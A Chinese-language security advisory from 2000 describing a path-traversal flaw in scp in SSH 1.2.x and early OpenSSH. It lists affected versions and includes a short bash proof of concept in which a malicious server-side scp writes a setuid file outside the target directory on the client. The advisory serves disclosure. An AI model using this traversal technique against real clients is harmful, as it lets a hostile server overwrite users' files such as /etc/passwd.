|
|
scp文件可建立和覆盖漏洞 发布时间:2000-10-10 更新时间:2000-10-10 严重程度:高 威胁程度:远程管理员权限 错误类型:设计错误 利用方式:服务器模式
受影响系统Helsinki University of Technology ssh 1.2.27
Helsinki University of Technology ssh 1.2.26
Helsinki University of Technology ssh 1.2.25
Helsinki University of Technology ssh 1.2.24
Helsinki University of Technology ssh 1.2.23
Helsinki University of Technology ssh 1.2.22
Helsinki University of Technology ssh 1.2.21
Helsinki University of Technology ssh 1.2.20
Helsinki University of Technology ssh 1.2.19
Helsinki University of Technology ssh 1.2.18
Helsinki University of Technology ssh 1.2.17
Helsinki University of Technology ssh 1.2.16
Helsinki University of Technology ssh 1.2.15
Helsinki University of Technology ssh 1.2.14
OpenBSD OpenSSH 1.2.3
OpenBSD OpenSSH 1.2
其中Helsinki University of Technology ssh 2.1
Helsinki University of Technology ssh 2.0
OpenBSD OpenSSH 2.1.1
OpenBSD OpenSSH 2.1
不受此漏洞影响 详细描述 在1.2.x中scp存在漏洞,如果正确利用一个本地修改过的scp程序,就允许
远程服务器欺骗本地路径名和覆盖属于本地用户的文件。
如scp user@remotehost:/somefile /home/user/newfile
在远程机器上修改过的服务程序就可以发送如../../etc/passwd,本地用户的
scp程序就会写数据到/home/user/../../etc/passwd中,而这就是/etc/passwd
文件。
测试代码 为了一个欺骗,我建立了scp的替代程序,放在远程主机中的/usr/local/bin目录
中,它会导致任意文件的传送,建立一个/tmp/ScpIsBuggy文件在客户端:
#!/bin/bash
echo "D0755 0 ../../../../../../tmp/nope"
echo "D0755 0 ../../../../../../tmp"
echo "C4755 200 ScpIsBuggy"
dd if=/dev/urandom of=/dev/stdout bs=200 count=1 2>/dev/null
dd if=/dev/zero of=/dev/stdout bs=1 count=2 2>/dev/null
---
解决方案 尚无
相关信息
|